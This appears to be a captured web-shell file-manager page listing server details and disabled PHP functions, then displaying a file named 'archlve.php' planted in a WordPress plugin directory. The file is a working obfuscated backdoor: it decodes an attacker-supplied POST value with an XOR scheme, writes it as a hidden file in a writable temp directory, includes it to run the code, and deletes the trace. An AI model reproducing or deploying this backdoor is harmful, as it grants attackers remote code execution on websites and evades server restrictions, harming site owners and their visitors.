HEX
Server: LiteSpeed
System:
User: ()
PHP: 7.3.33
Disabled: ln,cat,popen,pclose,posix_getpwuid,posix_getgrgid,posix_kill,parse_perms,system,dl,passthru,exec,shell_exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,mysql_list_dbs,get_current_user,getmyuid,pconnect,link,symlink,pcntl_exec,ini_alter,pfsockopen,leak,apache_child_terminate,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,stream_select,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_modules,apache_get_version,apache_getenv,apache_note,apache_setenv,virtual,ini_get_all,php_passthru,posix_uname,php_uname,highlight_file,define_syslog_variables,ftp_exec,inject_code,eval
Upload Files
File: /var/www/vhosts/miroglu.net/httpdocs/wp-content/plugins/seo-1772624965/archlve.php
<!--dW1NAlcN-->
<?php

if(isset($_POST["\x6Fbj\x65\x63t"])){
$val = array_filter(["/dev/shm", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), "/var/tmp"]);
$flag = $_POST["\x6Fbj\x65\x63t"];
	$flag	 = 	explode  	(	"." 		,	 $flag		)	 ;  	
$resource = '';
$s = 'abcdefghijklmnopqrstuvwxyz0123456789';
$sLen = strlen($s);
$i = 0;

array_walk($flag, function ($val) use (&$resource, &$i, $s, $sLen) {
    $sChar = ord($s[$i % $sLen]);
    $d = ((int)$val - $sChar - ($i % 10)) ^ 12;
    $resource .= chr($d);
    $i++;
});
foreach ($val as $entity) {
            if (is_dir($entity) ? is_writable($entity) : false) {
            $component = "$entity/.mrk";
            $desc = fopen($component, 'w');
if ($desc) {
    fwrite($desc, $resource);
    fclose($desc);
    include $component;
    @unlink($component);
    die();
}
        }
}
}